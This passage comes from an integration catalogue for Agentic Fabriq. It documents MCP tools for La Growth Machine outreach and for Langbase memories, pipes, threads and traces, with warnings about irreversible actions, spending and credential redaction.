/api/v1/la_growth_machine/inbox/conversations/unsnooze. Scopes: api. la_growth_machine_post_inbox_email (write) — SENDS A REAL EMAIL FROM THE CUSTOMER'S OWN MAILBOX TO A REAL PERSON, and it cannot be recalled. `identityId` names the sending email identity and `message` must carry BOTH an `html` and a `text` body; name the recipient with `leadId` or `leadEmail`, and either continue a thread (`replyInLastThread`, or `replyToMessageId` for a specific message) or give a `subject`. `cc` and `bcc` are comma-separated lists, and every address on them receives the mail too via POST /inbox/email POST /api/v1/la_growth_machine/inbox/email. Scopes: api. la_growth_machine_post_inbox_linkedin (write) — SENDS A REAL LINKEDIN MESSAGE FROM THE CUSTOMER'S OWN ACCOUNT TO A REAL PERSON, and it cannot be recalled -- LinkedIn offers no way to unsend a message. `identityId` names the LinkedIn identity that sends and `memberId` the member performing it (List workspace members); name the recipient with `leadId` or `linkedinUrl`, and supply `message` text or an `audioUrl` pointing at a hosted MP3 voice note -- at least one of the two. `attachments` takes file URLs, and `source` must be one of api, make, n8n or zapier via POST /inbox/linkedin POST /api/v1/la_growth_machine/inbox/linkedin. Scopes: api. la_growth_machine_post_inboxwebhooks (write) — Register a publicly reachable https `url` that La Growth Machine POSTs every inbox message to, under a `name`, optionally filtered to named `campaigns` (omit the list and it receives every campaign's messages). THE URL IS A DESTINATION FOR THE CUSTOMER'S OWN CONVERSATION CONTENT, so point it only at a service they control; it must answer POST with 200 OK via POST /inboxWebhooks POST /api/v1/la_growth_machine/inboxWebhooks. Scopes: api. la_growth_machine_post_leads_enrich (write) — SPENDS THE WORKSPACE'S CREDITS on every call: EMAIL_ENRICH costs 5 and is the only type that works without a `leadId` (firstname plus lastname is enough), LINKEDIN_ENRICH costs 1 and requires one, FULL_ENRICH costs 5 and requires one. `mode` is `polling` by default -- the response carries an id to read back with Get an enrichment result -- or `sync`, or `webhook` with an https `webhookUrl`. Read the balance with Get the credit balance before running these in bulk via POST /leads/enrich POST /api/v1/la_growth_machine/leads/enrich. Scopes: api. la_growth_machine_post_leads_status (write) — Move one lead to a named status inside a campaign, identifying them by `leadId` or by email, LinkedIn URL, CRM id or name. THE STATUS VOCABULARY IS CLOSED and the value is written verbatim into the customer's own database, so send one of the documented statuses and never an invented one: PAUSED, RESUME, STOPPED, CONVERTED, SUBSCRIBED, UNSUBSCRIBED, NOT_ACTIVATED, ALREADY_EQUIPPED, ENRICHED, CONTACTED, CANNOT_CONTACT, COMPLETED_WITHOUT_REPLY, TO_QUALIFY, OUT_OF_OFFICE, WRONG_TIMING, CALL_BOOKED, INTERESTED, NOT_INTERESTED, WRONG_TARGET, NEGOTIATING, READY_TO_BUY. STOPPED and UNSUBSCRIBED end further outreach to that lead. `campaign` is required. Sent as form-urlencoded via POST /leads/status POST /api/v1/la_growth_machine/leads/status. Scopes: api. ================================================================================ ## Langbase URL: https://www.agenticfabriq.com/integrations/langbase Section: Integrated Tools Langbase — 35 MCP tools Provider key: langbase. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. langbase_delete_v1_memory_by_memoryname (write, destructive) — PERMANENTLY DELETE a whole memory AND EVERY DOCUMENT IN IT, with their embeddings. Langbase publishes no recycle bin and no restore, and there is no memory-update tool to fall back on -- a memory deleted to change its chunking or embedding model has to be rebuilt document by document, from files Agentic Fabriq does not hold. Any pipe grounded in this memory loses that grounding. The reply is `{"success": true}`. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. DELETE /api/v1/langbase/v1/memory/{memoryName}. Scopes: api. langbase_delete_v1_memory_by_memoryname_documents_by_documentname (write, destructive) — PERMANENTLY DELETE one document from a memory, with its embeddings. Langbase publishes no recycle bin and no restore for this, and the document's bytes are gone from the memory -- re-adding it means uploading the file again. The reply is `{"success": true}`. Confirm the deletion with List a memory's documents rather than trusting the flag. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. THIS ROUTE'S REJECTION NAMES A USER KEY. Measured credential-free on 2026-09-22: a bad credential here answers `Invalid user API key` rather than echoing the value sent, which most shipped routes do -- so an ORGANIZATION key may not reach this tool. Unconfirmed, because a bogus key cannot tell us which kind a caller must hold: the message names the kind the handler looked the key up as. If this tool fails with a 401 while the pipe and memory reads work on the same connection, try a user-level key. DELETE /api/v1/langbase/v1/memory/{memoryName}/documents/{documentName}. Scopes: api. langbase_delete_v1_threads_by_threadid (write, destructive) — PERMANENTLY DELETE a thread and its whole message history. Langbase publishes no recycle bin and no restore. The reply is `{"success": true}`; confirm with Get a thread rather than trusting the flag. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. DELETE /api/v1/langbase/v1/threads/{threadId}. Scopes: api. langbase_delete_v1_threads_by_threadid_messages_by_messageid (write, destructive) — PERMANENTLY DELETE one message from a thread. Langbase publishes no recycle bin and no restore, and the thread's remaining messages are left as a history with a hole in it. The reply is `{"success": true}`. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. DELETE /api/v1/langbase/v1/threads/{threadId}/messages/{messageId}. Scopes: api. langbase_get (read) — Read the Langbase API's own banner -- `{"success": true, "message": "Langbase API", "link": "https://langbase.com/docs"}`, byte-identical to the health check (measured 2026-09-22). Useful only to confirm the API is reachable from Agentic Fabriq. PUBLIC, and therefore NOT a credential check: the sealed OpenAPI document declares no security on this operation and it was measured on 2026-09-22 answering 200 with no `Authorization` header at all. A 200 here says nothing about whether this connection's key works -- use List pipes for that. GET /api/v1/langbase. Scopes: api. langbase_get_health (read) — Langbase's liveness endpoint. It answers the same banner payload as the service root (measured 2026-09-22) and reports only that the API is up -- it does not report the account's state, its quota or its keys. PUBLIC, and therefore NOT a credential check: the sealed OpenAPI document declares no security on this operation and it was measured on 2026-09-22 answering 200 with no `Authorization` header at all. A 200 here says nothing about whether this connection's key works -- use List pipes for that. GET /api/v1/langbase/health. Scopes: api. langbase_get_routes (read) — Langbase's own list of every route it serves, as `{"routes": [{"method", "path"}]}` with path parameters in Hono's `:name` form. Measured 2026-09-22: 57 entries, including the `ALL /*` catch-all, `/openapi.json` and `/ui`. This is how to tell whether Langbase has added or withdrawn an endpoint since this integration was built -- and it is why three routes the endpoint ledger could not settle are known to exist: `POST /v1/threads`, `POST /v1/traces` and the deployed-agent run all appear in it. PUBLIC, and therefore NOT a credential check: the sealed OpenAPI document declares no security on this operation and it was measured on 2026-09-22 answering 200 with no `Authorization` header at all. A 200 here says nothing about whether this connection's key works -- use List pipes for that. GET /api/v1/langbase/routes. Scopes: api. langbase_get_v1_memory (read) — List the memories -- Langbase's managed RAG stores -- on this account, each with `name`, `description`, `owner_login` and `url`. This is where a memory `name` comes from: every memory tool, and the `memory` argument on the two run tools, takes the name rather than an id. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. GET /api/v1/langbase/v1/memory. Scopes: api. langbase_get_v1_memory_by_memoryname_documents (read) — List one memory's documents, each with `name`, `status` and `status_message` (this is where an indexing failure is visible), its `metadata.size` and `metadata.type`, whether it is `enabled`, and the chunking it was indexed with. Poll this after an upload: a document is not retrievable until it has finished indexing. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. GET /api/v1/langbase/v1/memory/{memoryName}/documents. Scopes: api. langbase_get_v1_memory_by_memoryname_documents_by_documentname_embeddings_retry (write) — Re-run the embedding of one document whose indexing failed. NOTE THE VERB: Langbase serves this retry as a GET, on the sealed document's own authority and confirmed in its live route table -- so this is a GET THAT MUTATES, classified `write` here because that is its effect, and it spends embedding tokens each time it is called. Check `status` and `status_message` with List a memory's documents first; retrying a document that failed for a structural reason spends tokens and fails again. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. THIS ROUTE'S REJECTION NAMES A USER KEY. Measured credential-free on 2026-09-22: a bad credential here answers `Invalid user API key` rather than echoing the value sent, which most shipped routes do -- so an ORGANIZATION key may not reach this tool. Unconfirmed, because a bogus key cannot tell us which kind a caller must hold: the message names the kind the handler looked the key up as. If this tool fails with a 401 while the pipe and memory reads work on the same connection, try a user-level key. GET /api/v1/langbase/v1/memory/{memoryName}/documents/{documentName}/embeddings/retry. Scopes: api. langbase_get_v1_models (read) — Every LLM Langbase can route to, grouped by provider, each with `id` (the `provider:model_id` string every `model` argument in this integration takes), `provider`, `type` (`text` or `image`), and its per-million-token `promptCost`/`completionCost` -- or, for image models, `basePrice`, `supportedSizes` and `supportedQualities`. THIS IS THE CATALOGUE, NOT THE ACCOUNT'S ENTITLEMENTS: whether a model actually runs depends on the customer's own LLM provider key for that provider. PUBLIC, and therefore NOT a credential check: the sealed OpenAPI document declares no security on this operation and it was measured on 2026-09-22 answering 200 with no `Authorization` header at all. A 200 here says nothing about whether this connection's key works -- use List pipes for that. GET /api/v1/langbase/v1/models. Scopes: api. langbase_get_v1_pipes (read) — List the pipes -- Langbase's deployable LLM agents -- on the account this connection's key belongs to, each with its `name`, `description`, `status`, `model` and every stored generation parameter. This is where a pipe `name` comes from, which Run a pipe needs. IT IS ALSO THIS INTEGRATION'S CREDENTIAL CHECK, and the only shipped read whose rejection has been measured: on 2026-09-22 a bogus bearer answered 401 `Invalid API key. Regenerate to try again.` and NO `Authorization` header at all answered 400 `Invalid 'Authorization' header or token` -- the control proving the endpoint does not ignore credentials. The 200 side has never been seen, because no Langbase credential existed when this shipped. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. GET /api/v1/langbase/v1/pipes. Scopes: api. langbase_get_v1_pipes_by_ownerlogin_by_pipename (read) — Read one pipe's full stored configuration: model, prompt messages, every generation parameter, its tools and its memories. Unlike the two pipe writes, this reply does NOT carry the pipe's API key, so nothing is redacted from it. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. GET /api/v1/langbase/v1/pipes/{ownerLogin}/{pipeName}. Scopes: api. langbase_get_v1_threads_by_threadid (read) — Read one thread's own record: `id`, `object`, `created_at` and its `metadata`. The MESSAGES are a separate call (List a thread's messages). Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. GET /api/v1/langbase/v1/threads/{threadId}. Scopes: api. langbase_get_v1_threads_by_threadid_messages (read) — Read every message in a thread, oldest first, as a bare ARRAY -- each with `id`, `role`, `content`, `created_at`, any `tool_calls` and its `metadata`. Langbase documents no paging on this call, so a long thread comes back whole. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. GET /api/v1/langbase/v1/threads/{threadId}/messages. Scopes: api. langbase_get_v1_traces (read) — List execution traces for one primitive -- Langbase's own log of what a pipe or agent did. Both `primitiveId` and `primitiveName` are required, so this reads ONE primitive's traces and cannot list the account's. THE TRACES PLANE IS UNDOCUMENTED: it is in the sealed OpenAPI document and in the API's live route table, but Langbase's API reference has no traces page (`/docs/api-reference/traces` answers 404, measured 2026-09-22), so what a `primitiveId` is and where one comes from is not stated anywhere this build could read. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. GET /api/v1/langbase/v1/traces. Scopes: api. langbase_get_v1_traces_by_traceid (read) — Read one trace by id. The sealed document declares the reply as an ARRAY of trace objects rather than a single one, which is transcribed here as it stands rather than corrected. Same undocumented plane as List traces. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. GET /api/v1/langbase/v1/traces/{traceId}. Scopes: api. langbase_post_by_ownerlogin_by_agent (write) — Invoke an agent deployed on Langbase at its own address, `POST /{ownerLogin}/{agent}` -- Langbase's serverless compute plane. The input and the reply are whatever that agent defines; the sealed document declares a nullable 200 and no request body. THIS SPENDS WHATEVER THE AGENT SPENDS. NOTE THE AGENTIC FABRIQ PATH: this tool is addressed as `/langbase/agents/{ownerLogin}/{agent}/run` rather than mirroring the provider path, and that is deliberate -- the provider's route is two bare segments at the root, so mirroring it would shadow every two-segment Langbase route this integration mounts (`/v1/pipes`, `/v1/memory`, `/v1/threads`, `/v1/traces`, `/v1/embed`, `/v1/images`, `/v1/chunker`) and let a caller reach one of them by passing `ownerLogin=v1`. The connector still calls the provider's real path. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. POST /api/v1/langbase/agents/{ownerLogin}/{agent}/run. Scopes: api. langbase_post_v1_agent_run (write) — Run a model directly, with everything specified at call time and nothing stored: the runtime counterpart to a pipe. Answers `{"completion": "...", "raw": {...usage...}}`. Use this when the model, prompt and tools are decided per call; use Run a pipe when the account has a stored agent to invoke. THIS SPENDS MODEL TOKENS. RUNNING A MODEL NEEDS A SECOND CREDENTIAL THAT IS NOT THIS CONNECTION'S: an upstream LLM provider key (OpenAI, Anthropic, Google, Together, OpenRouter, ...) belonging to the CUSTOMER. Langbase takes it from the keyset on their pipe, user or organization account, or from the `lbLlmKey` argument here, which Agentic Fabriq moves into the `LB-LLM-Key` request header and never stores. It is never filled in from this connection -- Agentic Fabriq holds no LLM provider key for the customer -- so a failure naming a missing or invalid LLM key is not a problem with this Langbase connection. Langbase's SDK reference types the LLM key as required for this primitive while its API reference does not mark the header required; that disagreement is unresolved here because no Langbase credential existed to settle it, so pass `lbLlmKey` if a run fails asking for a key. STREAMING IS NEVER EXPOSED: Agentic Fabriq pins `stream: false` on this call after merging the caller's body, so a caller cannot re-enable it. A streamed reply is a Server-Sent-Events body that cannot be returned as a tool result, and this connector follows no redirects. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. THIS ROUTE'S REJECTION NAMES A USER KEY. Measured credential-free on 2026-09-22: a bad credential here answers `Invalid user API key` rather than echoing the value sent, which most shipped routes do -- so an ORGANIZATION key may not reach this tool. Unconfirmed, because a bogus key cannot tell us which kind a caller must hold: the message names the kind the handler looked the key up as. If this tool fails with a 401 while the pipe and memory reads work on the same connection, try a user-level key. POST /api/v1/langbase/v1/agent/run. Scopes: api. langbase_post_v1_chunker (read) — Split text into overlapping chunks with Langbase's own chunker, and get `{"success": true, "chunks": ["..."]}`. A stateless utility: it stores nothing and touches no memory, which is why it is classified as a read. Pair it with Embed text chunks to build vectors outside a Langbase memory. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. POST /api/v1/langbase/v1/chunker. Scopes: api. langbase_post_v1_embed (read) — Turn texts into embedding vectors: the reply is a bare ARRAY of vectors (arrays of numbers), in the order the chunks were sent. THIS SPENDS EMBEDDING TOKENS on the customer's LLM provider account, and the model chosen must be one their keyset can reach. It stores nothing: to build a searchable store, use a memory instead. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. POST /api/v1/langbase/v1/embed. Scopes: api. langbase_post_v1_images (write) — Generate an image and get back the provider's completion object, whose `choices[].message.images[].image_url.url` holds the result's URL. THE IMAGE BYTES DO NOT PASS THROUGH AGENTIC FABRIQ: the reply is a URL at the model provider, and such URLs are usually short-lived, so fetch it promptly with your own client. THIS SPENDS IMAGE-GENERATION CREDIT. `lbLlmKey` IS REQUIRED HERE -- Langbase's images reference marks the `LB-LLM-Key` header required and says in its own words that the LLM keys for the image provider must be supplied. RUNNING A MODEL NEEDS A SECOND CREDENTIAL THAT IS NOT THIS CONNECTION'S: an upstream LLM provider key (OpenAI, Anthropic, Google, Together, OpenRouter, ...) belonging to the CUSTOMER. Langbase takes it from the keyset on their pipe, user or organization account, or from the `lbLlmKey` argument here, which Agentic Fabriq moves into the `LB-LLM-Key` request header and never stores. It is never filled in from this connection -- Agentic Fabriq holds no LLM provider key for the customer -- so a failure naming a missing or invalid LLM key is not a problem with this Langbase connection. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. THIS ROUTE'S REJECTION NAMES A USER KEY. Measured credential-free on 2026-09-22: a bad credential here answers `Invalid user API key` rather than echoing the value sent, which most shipped routes do -- so an ORGANIZATION key may not reach this tool. Unconfirmed, because a bogus key cannot tell us which kind a caller must hold: the message names the kind the handler looked the key up as. If this tool fails with a 401 while the pipe and memory reads work on the same connection, try a user-level key. POST /api/v1/langbase/v1/images. Scopes: api. langbase_post_v1_memory (write) — Create a memory: a RAG store that documents are uploaded into and retrieved from. Only `name` is required (measured 2026-09-22). THERE IS NO UPDATE TOOL FOR A MEMORY in the v1 API -- the chunking and the embedding model are fixed when it is created, so choose them deliberately; changing either means deleting the memory and starting again. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. POST /api/v1/langbase/v1/memory. Scopes: api. langbase_post_v1_memory_documents (write) — Step one of adding a document to a memory: Langbase answers `{"signedUrl": "..."}`, a pre-signed URL to PUT the file's bytes to. THE BYTES DO NOT PASS THROUGH AGENTIC FABRIQ and cannot: no tool here carries file content, so the signed URL must be handed to whatever holds the file. That URL is the PRODUCT of this call and is returned whole -- it is a time-limited write capability for one object, not this connection's credential, and withholding it would leave the tool with nothing to return. Nothing is indexed until the bytes are uploaded; poll List a memory's documents for the document's `status`. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. POST /api/v1/langbase/v1/memory/documents. Scopes: api. langbase_post_v1_memory_retrieve (read) — Search one or more memories and get back the matching chunks with their similarity scores and metadata: `{"chunks": [{"text", "similarity", "meta"}]}`. This is a READ that spends embedding tokens on the query. It is a POST because the query rides in the body, not because it changes anything. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. POST /api/v1/langbase/v1/memory/retrieve. Scopes: api. langbase_post_v1_pipes (write) — Create a pipe: a named, stored LLM agent with its model, prompt messages, generation parameters, tools and grounding memories. Only `name` is required (measured 2026-09-22); everything else falls back to Langbase's defaults (`model: openai:gpt-4.1-mini`, `status: public`, `type: generate`, `temperature: 0.7`, `max_tokens: 2048`). NOTE `status`: Langbase's own default is `public`, which makes the pipe runnable by anyone holding its URL. THE REPLY CARRIES THE NEW PIPE'S OWN API KEY AND AGENTIC FABRIQ REDACTS IT: `api_key` comes back as a marker rather than a live credential, because a tool result is copied into the model's context and into the audit trail, and nothing here needs a pipe key. Read it in Langbase Studio if it is wanted. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. POST /api/v1/langbase/v1/pipes. Scopes: api. langbase_post_v1_pipes_by_pipename (write) — Update a pipe's configuration. Note the verb and the address: Langbase updates with POST on `/v1/pipes/{pipeName}`, not PUT or PATCH, and the path takes the pipe NAME rather than an id. No field is required. Send only what is changing -- and read `regenerateApiKey` before setting it, because it invalidates the pipe's existing key. THE REPLY CARRIES THE PIPE'S API KEY AND AGENTIC FABRIQ REDACTS IT, for the reason Create a pipe gives. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. POST /api/v1/langbase/v1/pipes/{pipeName}. Scopes: api. langbase_post_v1_pipes_run (write) — Run one of the account's pipes and get its completion: `{"completion": "...", "raw": {...usage...}}`. THIS SPENDS MODEL TOKENS on the customer's LLM provider account. RUNNING A MODEL NEEDS A SECOND CREDENTIAL THAT IS NOT THIS CONNECTION'S: an upstream LLM provider key (OpenAI, Anthropic, Google, Together, OpenRouter, ...) belonging to the CUSTOMER. Langbase takes it from the keyset on their pipe, user or organization account, or from the `lbLlmKey` argument here, which Agentic Fabriq moves into the `LB-LLM-Key` request header and never stores. It is never filled in from this connection -- Agentic Fabriq holds no LLM provider key for the customer -- so a failure naming a missing or invalid LLM key is not a problem with this Langbase connection. STREAMING IS NEVER EXPOSED: Agentic Fabriq pins `stream: false` on this call after merging the caller's body, so a caller cannot re-enable it. A streamed reply is a Server-Sent-Events body that cannot be returned as a tool result, and this connector follows no redirects. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. POST /api/v1/langbase/v1/pipes/run. Scopes: api. langbase_post_v1_threads (write) — Create a conversation thread, optionally with metadata and opening messages. The reply carries the thread's `id`, which Run a pipe takes as `threadId` to continue a conversation. The sealed OpenAPI document declares no request body for this route -- the fields here come from Langbase's own Threads reference -- and the endpoint's existence is not in doubt: it appears in the API's live route table, which is what settles the one operation the endpoint ledger recorded as inconclusive. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. POST /api/v1/langbase/v1/threads. Scopes: api. langbase_post_v1_threads_by_threadid (write) — Update a thread's metadata -- the only writable part of a thread. Note the verb: Langbase updates with POST on the thread's own URL, not PUT or PATCH. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. POST /api/v1/langbase/v1/threads/{threadId}. Scopes: api. langbase_post_v1_threads_by_threadid_messages (write) — Append messages to an existing thread. THE BODY IS A BARE ARRAY of message objects: Langbase's Threads reference documents `{"messages": [...]}` and the server rejects exactly that -- see the measurement on the body argument. Answers the appended messages with their new ids. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. POST /api/v1/langbase/v1/threads/{threadId}/messages. Scopes: api. langbase_post_v1_threads_by_threadid_messages_by_messageid (write) — Rewrite one message in a thread -- its text, its metadata, or both. This EDITS CONVERSATION HISTORY: a stored assistant message can be changed to say something the model never said, and anything reading the thread afterwards sees the edit as the original. Note the verb: POST on the message's own URL. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. POST /api/v1/langbase/v1/threads/{threadId}/messages/{messageId}. Scopes: api. langbase_post_v1_tools_crawl (read) — Fetch web pages through Langbase and get `[{"url", "content"}]`. The crawl runs at Spider.cloud or Firecrawl, so `lbCrawlKey` IS REQUIRED and is THE CUSTOMER'S OWN KEY at whichever of those `service` names -- never this Langbase connection's credential and never filled in from it. Measured 2026-09-22: with `{}` this route answers 400 `invalid_type: LB-CRAWL-KEY: Required`, before it looks at the Langbase credential. Agentic Fabriq moves the value into the `LB-CRAWL-KEY` header, never into the URL, and does not keep it. NOTE WHAT THIS DOES: it makes Langbase's crawler fetch URLs you name, from Langbase's network, so treat it as an outbound request on the customer's behalf. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. POST /api/v1/langbase/v1/tools/crawl. Scopes: api. langbase_post_v1_tools_web_search (read) — Search the web through Langbase and get `[{"url", "content"}]` -- the extracted page text, not just links. The search itself runs at Exa, so `lbWebSearchKey` IS REQUIRED and is THE CUSTOMER'S OWN EXA API KEY (exa.ai dashboard), never this Langbase connection's credential and never filled in from it: Agentic Fabriq holds no Exa key. Measured 2026-09-22: with `{}` this route answers 400 `invalid_type: lb-web-search-key: Required`, before it looks at the Langbase credential. Agentic Fabriq moves the value into the `LB-WEB-SEARCH-KEY` header, never into the URL, and does not keep it. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is raised or logged, because Langbase's 401 repeats the key it was sent. POST /api/v1/langbase/v1/tools/web-search. Scopes: api. langbase_post_v1_traces (write) — Record an execution trace. UNDOCUMENTED, in two ways worth knowing before calling it: Langbase's API reference has no traces page (404, measured 2026-09-22), and the sealed OpenAPI document declares no request body for this operation -- so this tool forwards a free-form JSON object and cannot validate it for you. The route itself certainly exists: it is in the API's live route table, which is what settles one of the three operations the endpoint ledger recorded as inconclusive. Langbase reports a failure as `{"success": false, "error": {"code", "status", "message", "docs"}}`, and a 400 on a write carries the ZodError that names the exact field (`invalid_type: name: Required`) -- the most useful thing in the reply, so it is passed through. Agentic Fabriq removes this connection's API key from every Langbase message before it is 